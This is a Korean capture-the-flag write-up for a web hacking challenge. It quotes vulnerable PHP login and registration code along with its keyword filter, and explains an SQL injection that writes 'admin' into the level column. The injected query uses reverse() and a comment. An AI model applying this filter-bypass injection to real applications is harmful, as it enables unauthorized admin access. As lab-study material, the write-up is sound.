< 문제 해결 >
< 코드 1: LOGIN >
if($_POST['lid'] && isset($_POST['lphone'])){
$_POST['lid'] = addslashes($_POST['lid']);
$_POST['lphone'] = addslashes($_POST['lphone']);
$result = mysqli_fetch_array(mysqli_query($db,"select id,lv from chall59 where id='{$_POST['lid']}' and phone='{$_POST['lphone']}'"));
if($result['id']){
echo "id : {$result['id']}<br>lv : {$result['lv']}<br><br>";
if($result['lv'] == "admin"){
mysqli_query($db,"delete from chall59");
solve(59);
}
< 코드2: JOIN >
if($_POST['id'] && isset($_POST['phone'])){
$_POST['id'] = addslashes($_POST['id']);
$_POST['phone'] = addslashes($_POST['phone']);
if(strlen($_POST['phone'])>=20) exit("Access Denied");
if(preg_match("/admin/i",$_POST['id'])) exit("Access Denied");
if(preg_match("/admin|0x|#|hex|char|ascii|ord|select/i",$_POST['phone'])) exit("Access Denied");
mysqli_query($db,"insert into chall59 values('{$_POST['id']}',{$_POST['phone']},'guest')");
}
먼저, Login을 수행하기 위해, Join을 해준다. id = hi, phone= 123으로 설정하였다. 그 후 해당 값으로 Login을 시도하면, 위 그림 1과 같이 lv:guest 가 출력이 된다. 이는 < 코드 2 >의 마지막 줄 insert into 구문을 보면 알 수 있다. guest 값이 고정적으로 테이블 chall59에 입력이 되기에, lv 값은 모두 guest로 정의된다.
우리는 <코드 1>에서 lv 값이 admin 이여야 한다는 것을 확인하였고, <코드 2>에서의 필터링을 우회하여, 아래 그림 2와 같이 JOIN을 진행해 준다.
위 그림 2에서 볼 수 있다시피, PHONE 입력 폼에서, sql의 reverse() function을 사용하였다. 이는 인자로 전달된 문자열을 거꾸로(앞뒤로) 뒤집어 준다. 앞의 id: nimda이고, 이를 뒤집으면, admin이 된다. 이제 <코드 2>의 마지막 줄 INSERT INTO 구문이 아래 <코드 3> 과 같은 쿼리문으로 변경되게 된다.
< 코드3 >
mysqli_query($db,"insert into chall59 values('nimda',8,'admin')-- 'guest')");
위 그림 3과 같이, 로그인을 진행하면, 아래 그림 4와 같이 nimda , 8, admin에 맞게 lv 값이 출력되어 해당 문제를 통과할 수 있게 된다.
한줄 평: 흠..
< 참고 >